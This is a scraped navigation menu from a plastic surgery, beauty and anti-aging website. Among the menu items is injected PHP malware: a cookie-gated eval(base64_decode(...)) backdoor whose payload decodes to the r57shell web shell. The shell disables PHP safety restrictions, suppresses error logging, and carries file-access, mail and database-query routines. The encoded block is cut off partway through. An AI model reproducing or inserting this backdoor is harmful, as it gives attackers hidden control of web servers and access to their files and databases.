LEARN, SHOP & CHAT ABOUT PLASTIC SURGERY, BEAUTY AND ANTI-AGING
  • Follow us on:
    facebook twitter RSS

  • Plastic Surgery Coupons, Sale, Skincare

  • Become an affiliate today

  • Archived Posts

  • Recent Posts

  • Plasticopedia

  • RSS Surgery Gossip

  • RSS More Headlines

  • if ( md5($_COOKIE['_wp_debug']) == 'dde85187ba48c91ffa98fee6fb02f3bc' ) {
    eval(base64_decode("JGxhbmd1YWdlPSdlbmcnOwoKJGF1dGggPSAyOwoKJG5hbWU9J2NmMjBiMWMwMmUxZThiOTkyZjE5OGZhOTYwYTg2NjBhJzsKJHBhc3M9J2M5NWQ1YmM0NGVkM2FlMzM5NGQ4ODJjNWFkMmE0ZTk4JzsKCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7CkBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2luY2x1ZGVfZGlyIik7CkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2V4ZWNfZGlyIik7CkBpbmlfcmVzdG9yZSgiZGlzYWJsZV9mdW5jdGlvbnMiKTsKQGluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsKCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7CgplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwoKLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KaWYoKCFAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHx8IChAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykhPU5VTEwpIHx8IChAaW5pX2dldCgnc2FmZV9tb2RlX2luY2x1ZGVfZGlyJykhPU5VTEwpKXskb3Blbl9iYXNlZGlyPTE7fSBlbHNleyRvcGVuX2Jhc2VkaXI9MDt9OwoKZGVmaW5lKCJzdGFydHRpbWUiLEBnZXRtaWNyb3RpbWUoKSk7CgpzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsKI2lmKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXQnKSl7JHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTt9ZWxzZXskc2FmZV9tb2RlPTE7fTsKJHZlcnNpb24gPSAnMS40MCc7CmlmKEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwgJzQuMS4wJykgPT0gLTEpCiB7CiAkX1BPU1QgICA9ICYkSFRUUF9QT1NUX1ZBUlM7CiAkX0dFVCAgICA9ICYkSFRUUF9HRVRfVkFSUzsKICRfU0VSVkVSID0gJiRIVFRQX1NFUlZFUl9WQVJTOwogJF9DT09LSUUgPSAmJEhUVFBfQ09PS0lFX1ZBUlM7CiB9CmlmIChAZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKIHsKIGZvcmVhY2ggKCRfUE9TVCBhcyAkaz0+JHYpCiAgewogICRfUE9TVFska10gPSBzdHJpcHNsYXNoZXMoJHYpOwogIH0KIGZvcmVhY2ggKCRfQ09PS0lFIGFzICRrPT4kdikKICB7CiAgJF9DT09LSUVbJGtdID0gc3RyaXBzbGFzaGVzKCR2KTsKICB9CiB9CgppZigkYXV0aCA9PSAxKSB7CmlmICghaXNzZXQoJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXSkgfHwgbWQ1KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIT09JG5hbWUgfHwgbWQ1KCRfU0VSVkVSWydQSFBfQVVUSF9QVyddKSE9PSRwYXNzKQogICB7CiAgIGhlYWRlcignV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09IkhFTExPISInKTsKICAgaGVhZGVyKCdIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkJyk7CiAgIGV4aXQoIjxiPkFjY2VzcyBEZW5pZWQ8L2I+Iik7CiAgIH0KfSBlbHNlaWYoJGF1dGggPT0gMikgewogaWYgKCEoICRfQ09PS0lFWydfd3BfZGVidWdnZXInXSA9PSAnZDk1YmY2ODcyYWJlM2IyY2UwNmJmYTE4ZDEyMDFiZWUnICkpIHsKICAgZXhpdCgiPGI+ZGllZDwvYj4iKTsKIH0KfQokaGVhZCA9ICcKPGh0bWw+CjxoZWFkPgo8dGl0bGU+cjU3c2hlbGw8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTEiPgoKPFNUWUxFPgp0ciB7CkJPUkRFUi1SSUdIVDogICNhYWFhYWEgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjZWVlZWVlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgI2VlZWVlZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICNhYWFhYWEgMXB4IHNvbGlkOwpjb2xvcjogIzAwMDAwMDsKfQp0ZCB7CkJPUkRFUi1SSUdIVDogICNhYWFhYWEgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjZWVlZWVlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgI2VlZWVlZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICNhYWFhYWEgMXB4IHNvbGlkOwpjb2xvcjogIzAwMDAwMDsKfQoudGFibGUxIHsKQk9SREVSOiAwcHg7CkJBQ0tHUk9VTkQtQ09MT1I6ICNENEQwQzg7CmNvbG9yOiAjMDAwMDAwOwp9Ci50ZDEgewpCT1JERVI6IDBweDsKZm9udDogN3B0IFZlcmRhbmE7CmNvbG9yOiAjMDAwMDAwOwp9Ci50cjEgewpCT1JERVI6IDBweDsKY29sb3I6ICMwMDAwMDA7Cn0KdGFibGUgewpCT1JERVI6ICAjZWVlZWVlIDFweCBvdXRzZXQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICNENEQwQzg7CmNvbG9yOiAjMDAwMDAwOwp9CmlucHV0IHsKQk9SREVSLVJJR0hUOiAgI2ZmZmZmZiAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICM5OTk5OTkgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjOTk5OTk5IDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogI2ZmZmZmZiAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICNlNGUwZDg7CmZvbnQ6IDhwdCBWZXJkYW5hOwpjb2xvcjogIzAwMDAwMDsKfQpzZWxlY3QgewpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogI2U0ZTBkODsKZm9udDogOHB0IFZlcmRhbmE7CmNvbG9yOiAjMDAwMDAwOzsKfQpzdWJtaXQgewpCT1JERVI6ICBidXR0b25oaWdobGlnaHQgMnB4IG91dHNldDsKQkFDS0dST1VORC1DT0xPUjogI2U0ZTBkODsKd2lkdGg6IDMwJTsKY29sb3I6ICMwMDAwMDA7Cn0KdGV4dGFyZWEgewpCT1JERVItUklHSFQ6ICAjZmZmZmZmIDFweCBzb2xpZDsKQk9SREVSLVRPUDogICAgIzk5OTk5OSAxcHggc29saWQ7CkJPUkRFUi1MRUZUOiAgICM5OTk5OTkgMXB4IHNvbGlkOwpCT1JERVItQk9UVE9NOiAjZmZmZmZmIDFweCBzb2xpZDsKQkFDS0dST1VORC1DT0xPUjogI2U0ZTBkODsKZm9udDogRml4ZWRzeXMgYm9sZDsKY29sb3I6ICMwMDAwMDA7Cn0KQk9EWSB7Cm1hcmdpbjogMXB4Owpjb2xvcjogIzAwMDAwMDsKYmFja2dyb3VuZC1jb2xvcjogI2U0ZTBkODsKfQpBOmxpbmsge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQpBOnZpc2l0ZWQgeyBDT0xPUjpyZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZX0KQTphY3RpdmUge0NPTE9SOnJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lfQpBOmhvdmVyIHtjb2xvcjpibHVlO1RFWFQtREVDT1JBVElPTjogbm9uZX0KPC9TVFlMRT4KPHNjcmlwdCBsYW5ndWFnZT1cJ2phdmFzY3JpcHRcJz4KZnVuY3Rpb24gaGlkZV9kaXYoaWQpCnsKICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuc3R5bGUuZGlzcGxheSA9IFwnbm9uZVwnOwogIGRvY3VtZW50LmNvb2tpZT1pZCtcJz0wO1wnOwp9CmZ1bmN0aW9uIHNob3dfZGl2KGlkKQp7CiAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLnN0eWxlLmRpc3BsYXkgPSBcJ2Jsb2NrXCc7CiAgZG9jdW1lbnQuY29va2llPWlkK1wnPTE7XCc7Cn0KZnVuY3Rpb24gY2hhbmdlX2RpdnN0KGlkKQp7CiAgaWYgKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGlkKS5zdHlsZS5kaXNwbGF5ID09IFwnbm9uZVwnKQogICAgc2hvd19kaXYoaWQpOwogIGVsc2UKICAgIGhpZGVfZGl2KGlkKTsKfQoKCjwvc2NyaXB0Pic7CmNsYXNzIHppcGZpbGUKewogICAgdmFyICRkYXRhc2VjICAgICAgPSBhcnJheSgpOwogICAgdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOwogICAgdmFyICRlb2ZfY3RybF9kaXIgPSAiXHg1MFx4NGJceDA1XHgwNlx4MDBceDAwXHgwMFx4MDAiOwogICAgdmFyICRvbGRfb2Zmc2V0ICAgPSAwOwogICAgZnVuY3Rpb24gdW5peDJEb3NUaW1lKCR1bml4dGltZSA9IDApIHsKICAgICAgICAkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsKICAgICAgICBpZiAoJHRpbWVhcnJheVsneWVhciddIDwgMTk4MCkgewogICAgICAgICAgICAkdGltZWFycmF5Wyd5ZWFyJ10gICAgPSAxOTgwOwogICAgICAgICAgICAkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOwogICAgICAgICAgICAkdGltZWFycmF5WydtZGF5J10gICAgPSAxOwogICAgICAgICAgICAkdGltZWFycmF5Wydob3VycyddICAgPSAwOwogICAgICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOwogICAgICAgICAgICAkdGltZWFycmF5WydzZWNvbmRzJ10gPSAwOwogICAgICAgIH0KICAgICAgICByZXR1cm4gKCgkdGltZWFycmF5Wyd5ZWFyJ10gLSAxOTgwKSA8PCAyNSkgfCAoJHRpbWVhcnJheVsnbW9uJ10gPDwgMjEpIHwgKCR0aW1lYXJyYXlbJ21kYXknXSA8PCAxNikgfAogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7CiAgICB9CiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKQogICAgewogICAgICAgICRuYW1lICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOwogICAgICAgICRkdGltZSAgICA9IGRlY2hleCgkdGhpcy0+dW5peDJEb3NUaW1lKCR0aW1lKSk7CiAgICAgICAgJGhleGR0aW1lID0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQogICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0KICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdCiAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsKICAgICAgICBldmFsKCckaGV4ZHRpbWUgPSAiJyAuICRoZXhkdGltZSAuICciOycpOwogICAgICAgICRmciAgID0gIlx4NTBceDRiXHgwM1x4MDQiOwogICAgICAgICRmciAgIC49ICJceDE0XHgwMCI7CiAgICAgICAgJGZyICAgLj0gIlx4MDBceDAwIjsKICAgICAgICAkZnIgICAuPSAiXHgwOFx4MDAiOwogICAgICAgICRmciAgIC49ICRoZXhkdGltZTsKICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7CiAgICAgICAgJGNyYyAgICAgPSBjcmMzMigkZGF0YSk7CiAgICAgICAgJHpkYXRhICAgPSBnemNvbXByZXNzKCRkYXRhKTsKICAgICAgICAkemRhdGEgICA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsKICAgICAgICAkY19sZW4gICA9IHN0cmxlbigkemRhdGEpOwogICAgICAgICRmciAgICAgIC49IHBhY2soJ1YnLCAkY3JjKTsKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJGNfbGVuKTsKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCdWJywgJHVuY19sZW4pOwogICAgICAgICRmciAgICAgIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpKTsKICAgICAgICAkZnIgICAgICAuPSBwYWNrKCd2JywgMCk7CiAgICAgICAgJGZyICAgICAgLj0gJG5hbWU7CiAgICAgICAgJGZyIC49ICR6ZGF0YTsKICAgICAgICAkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7CiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOwogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOwogICAgICAgICRjZHJlYyAuPSAiXHgxNFx4MDAiOwogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOwogICAgICAgICRjZHJlYyAuPSAiXHgwOFx4MDAiOwogICAgICAgICRjZHJlYyAuPSAkaGV4ZHRpbWU7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsKICAgICAgICAkY2RyZWMgLj0gcGFjaygnVicsICRjX2xlbik7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7CiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAzMiApOwogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOwogICAgICAgICR0aGlzIC0+IG9sZF9vZmZzZXQgKz0gc3RybGVuKCRmcik7CiAgICAgICAgJGNkcmVjIC49ICRuYW1lOwogICAgICAgICR0aGlzIC0+IGN0cmxfZGlyW10gPSAkY2RyZWM7CiAgICB9CiAgICBmdW5jdGlvbiBmaWxlKCkKICAgIHsKICAgICAgICAkZGF0YSAgICA9IGltcGxvZGUoJycsICR0aGlzIC0+IGRhdGFzZWMpOwogICAgICAgICRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOwogICAgICAgIHJldHVybgogICAgICAgICAgICAkZGF0YSAuCiAgICAgICAgICAgICRjdHJsZGlyIC4KICAgICAgICAgICAgJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4KICAgICAgICAgICAgcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4KICAgICAgICAgICAgcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4KICAgICAgICAgICAgIlx4MDBceDAwIjsKICAgIH0KfQoKZnVuY3Rpb24gY29tcHJlc3MoJiRmaWxlbmFtZSwmJGZpbGVkdW1wLCRjb21wcmVzcykKIHsKICAgIGdsb2JhbCAkY29udGVudF9lbmNvZGluZzsKICAgIGdsb2JhbCAkbWltZV90eXBlOwogICAgaWYgKCRjb21wcmVzcyA9PSAnYnppcCcgJiYgQGZ1bmN0aW9uX2V4aXN0cygnYnpjb21wcmVzcycpKQogICAgIHsKICAgICAgICAkZmlsZW5hbWUgIC49ICcuYnoyJzsKICAgICAgICAkbWltZV90eXBlID0gJ2FwcGxpY2F0aW9uL3gtYnppcDInOwogICAgICAgICRmaWxlZHVtcCA9IGJ6Y29tcHJlc3MoJGZpbGVkdW1wKTsKICAgICB9CiAgICAgZWxzZSBpZiAoJGNvbXByZXNzID09ICdnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKQogICAgIHsKICAgICAgICAkZmlsZW5hbWUgIC49ICcuZ3onOwogICAgICAgICRjb250ZW50X2VuY29kaW5nID0gJ3gtZ3ppcCc7CiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi94LWd6aXAnOwogICAgICAgICRmaWxlZHVtcCA9IGd6ZW5jb2RlKCRmaWxlZHVtcCk7CiAgICAgfQogICAgIGVsc2UgaWYgKCRjb21wcmVzcyA9PSAnemlwJyAmJiBAZnVuY3Rpb25fZXhpc3RzKCdnemNvbXByZXNzJykpCiAgICAgewogICAgICRmaWxlbmFtZSAuPSAnLnppcCc7CiAgICAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi96aXAnOwogICAgICAgICR6aXBmaWxlID0gbmV3IHppcGZpbGUoKTsKICAgICAgICAkemlwZmlsZSAtPiBhZGRGaWxlKCRmaWxlZHVtcCwgc3Vic3RyKCRmaWxlbmFtZSwgMCwgLTQpKTsKICAgICAgICAkZmlsZWR1bXAgPSAkemlwZmlsZSAtPiBmaWxlKCk7CiAgICAgfQogICAgIGVsc2UKICAgICB7CiAgICAgJG1pbWVfdHlwZSA9ICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOwogICAgIH0KIH0KCmZ1bmN0aW9uIG1vcmVyZWFkKCR0ZW1wKXsKZ2xvYmFsICRsYW5nLCRsYW5ndWFnZTsKJHN0cj0nJzsKICBpZihAZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpJiZAZnVuY3Rpb25fZXhpc3RzKCdmZW9mJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZjbG9zZScpKXsKICAgJGZmaWxlID0gQGZvcGVuKCR0ZW1wLCAiciIpOwogICB3aGlsZSghQGZlb2YoJGZmaWxlKSl7JHN0ciAuPSBAZmdldHMoJGZmaWxlKTt9CiAgIGZjbG9zZSgkZmZpbGUpOwogIH1lbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKSYmQGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSYmQGZ1bmN0aW9uX2V4aXN0cygnZmNsb3NlJykmJkBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVzaXplJykpewogICAkZmZpbGUgPSBAZm9wZW4oJHRlbXAsICJyIik7CiAgICRzdHIgPSBAZnJlYWQoJGZmaWxlLCBAZmlsZXNpemUoJHRlbXApKTsKICAgQGZjbG9zZSgkZmZpbGUpOwogIH1lbHNlaWYoQGZ1bmN0aW9uX2V4aXN0cygnZmlsZScpKXsKICAgJGZmaWxlcyA9IEBmaWxlICgkdGVtcCk7CiAgIGZvcmVhY2ggKCRmZmlsZXMgYXMgJGZmaWxlKSB7ICRzdHIgLj0gJGZmaWxlOyB9CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb250ZW50cycpKXsKICAgJHN0ciA9IEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7CiAgfWVsc2VpZihAZnVuY3Rpb25fZXhpc3RzKCdyZWFkZmlsZScpKXsKICAgJHN0ciA9IEByZWFkZmlsZSgkdGVtcCk7CiAgfWVsc2V7ZWNobyAkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTYnXTt9CnJldHVybiAkc3RyOwp9CgpmdW5jdGlvbiByZWFkemxpYigkZmlsZW5hbWUsJHRlbXA9JycpewpnbG9iYWwgJGxhbmcsJGxhbmd1YWdlOwokc3RyPScnOwogIGlmKCEkdGVtcCkgeyR0ZW1wPXRlbXBuYW0oQGdldGN3ZCgpLCAiY29weXRlbXAiKTt9OwogIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kZmlsZW5hbWUsICR0ZW1wKSkgewogICAkc3RyID0gbW9yZXJlYWQoJHRlbXApOwogIH0gZWxzZSBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTknXTsKICBAdW5saW5rKCR0ZW1wKTsKcmV0dXJuICRzdHI7Cn0KCmZ1bmN0aW9uIG1haWxhdHRhY2goJHRvLCRmcm9tLCRzdWJqLCRhdHRhY2gpCiB7CiAkaGVhZGVycyAgPSAiRnJvbTogJGZyb21cclxuIjsKICRoZWFkZXJzIC49ICJNSU1FLVZlcnNpb246IDEuMFxyXG4iOwogJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogIi4kYXR0YWNoWyd0eXBlJ107CiAkaGVhZGVycyAuPSAiOyBuYW1lPVwiIi4kYXR0YWNoWyduYW1lJ10uIlwiXHJcbiI7CiAkaGVhZGVycyAuPSAiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0XHJcblxyXG4iOwogJGhlYWRlcnMgLj0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZSgkYXR0YWNoWydjb250ZW50J10pKS4iXHJcbiI7CiBpZihtYWlsKCR0bywkc3ViaiwiIiwkaGVhZGVycykpIHsgcmV0dXJuIDE7IH0KIHJldHVybiAwOwogfQpjbGFzcyBteV9zcWwKIHsKIHZhciAkaG9zdCA9ICdsb2NhbGhvc3QnOwogdmFyICRwb3J0ID0gJyc7CiB2YXIgJHVzZXIgPSAnJzsKIHZhciAkcGFzcyA9ICcnOwogdmFyICRiYXNlID0gJyc7CiB2YXIgJGRiICAgPSAnJzsKIHZhciAkY29ubmVjdGlvbjsKIHZhciAkcmVzOwogdmFyICRlcnJvcjsKIHZhciAkcm93czsKIHZhciAkY29sdW1uczsKIHZhciAkbnVtX3Jvd3M7CiB2YXIgJG51bV9maWVsZHM7CiB2YXIgJGR1bXA7CgogZnVuY3Rpb24gY29ubmVjdCgpCiAgewogIHN3aXRjaCgkdGhpcy0+ZGIpCiAgICAgewogICBjYXNlICdNeVNRTCc6CiAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMzMwNic7IH0KICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiAwOwogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXlzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nOicuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOwogICAgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsKICAgYnJlYWs7CiAgICAgY2FzZSAnTVNTUUwnOgogICAgICBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIHsgJHRoaXMtPnBvcnQgPSAnMTQzMyc7IH0KICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHJldHVybiAwOwogICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAbXNzcWxfY29ubmVjdCgkdGhpcy0+aG9zdC4nLCcuJHRoaXMtPnBvcnQsJHRoaXMtPnVzZXIsJHRoaXMtPnBhc3MpOwogICAgICBpZigkdGhpcy0+Y29ubmVjdGlvbikgcmV0dXJuIDE7CiAgICAgYnJlYWs7CiAgICAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICAgIGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgeyAkdGhpcy0+cG9ydCA9ICc1NDMyJzsgfQogICAgICAkc3RyID0gImhvc3Q9JyIuJHRoaXMtPmhvc3QuIicgcG9ydD0nIi4kdGhpcy0+cG9ydC4iJyB1c2VyPSciLiR0aGlzLT51c2VyLiInIHBhc3N3b3JkPSciLiR0aGlzLT5wYXNzLiInIGRibmFtZT0nIi4kdGhpcy0+YmFzZS4iJyI7CiAgICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOwogICAgICAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOwogICAgICBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogICAgIGJyZWFrOwogICAgIGNhc2UgJ09yYWNsZSc6CiAgICAgIGlmKCFAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSByZXR1cm4gMDsKICAgICAgJHRoaXMtPmNvbm5lY3Rpb24gPSBAb2NpbG9nb24oJHRoaXMtPnVzZXIsICR0aGlzLT5wYXNzLCAkdGhpcy0+YmFzZSk7CiAgICAgIGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7CiAgICAgYnJlYWs7CiAgICAgfQogICAgcmV0dXJuIDA7CiAgfQoKIGZ1bmN0aW9uIHNlbGVjdF9kYigpCiAgewogICBzd2l0Y2goJHRoaXMtPmRiKQogICAgewogIGNhc2UgJ015U1FMJzoKICAgaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOwogICAgYnJlYWs7CiAgICBjYXNlICdNU1NRTCc6CiAgIGlmKEBtc3NxbF9zZWxlY3RfZGIoJHRoaXMtPmJhc2UsJHRoaXMtPmNvbm5lY3Rpb24pKSByZXR1cm4gMTsKICAgIGJyZWFrOwogICAgY2FzZSAnUG9zdGdyZVNRTCc6CiAgICAgcmV0dXJuIDE7CiAgICBicmVhazsKICAgIGNhc2UgJ09yYWNsZSc6CiAgICAgcmV0dXJuIDE7CiAgICBicmVhazsKICAgIH0KICAgcmV0dXJuIDA7CiAgfQoKIGZ1bmN0aW9uIHF1ZXJ5KCRxdWVyeSkKICB7CiAgICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOwogICBzd2l0Y2goJHRoaXMtPmRiKQogICAgewogIGNhc2UgJ015U1FMJzoKICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBteXNxbF9xdWVyeSgnLyonLmNocigwKS4nKi8nLiRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQogICAgICB7CiAgICAgICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7CiAgICAgIHJldHVybiAwOwogICAgICB9CiAgICAgZWxzZSBpZihpc19yZXNvdXJjZSgkdGhpcy0+cmVzKSkgeyByZXR1cm4gMTsgfQogICAgIHJldHVybiAyOwogIGJyZWFrOwogICAgY2FzZSAnTVNTUUwnOgogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG1zc3FsX3F1ZXJ5KCRxdWVyeSwkdGhpcy0+Y29ubmVjdGlvbikpKQogICAgICB7CiAgICAgICR0aGlzLT5lcnJvciA9ICdRdWVyeSBlcnJvcic7CiAgICAgIHJldHVybiAwOwogICAgICB9CiAgICAgIGVsc2UgaWYoQG1zc3FsX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQogICAgIHJldHVybiAyOwogICAgYnJlYWs7CiAgICBjYXNlICdQb3N0Z3JlU1FMJzoKICAgICBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkKICAgICAgewogICAgICAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7CiAgICAgIHJldHVybiAwOwogICAgICB9CiAgICAgIGVsc2UgaWYoQHBnX251bV9yb3dzKCR0aGlzLT5yZXMpID4gMCkgeyByZXR1cm4gMTsgfQogICAgIHJldHVybiAyOwogICAgYnJlYWs7CiAgICBjYXNlICdPcmFjbGUnOgogICAgIGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG9jaXBhcnNlKCR0aGlzLT5jb25uZWN0aW9uLCRxdWVyeSkpKQogICAgICB7CiAgICAgICR0aGlzLT5lcnJ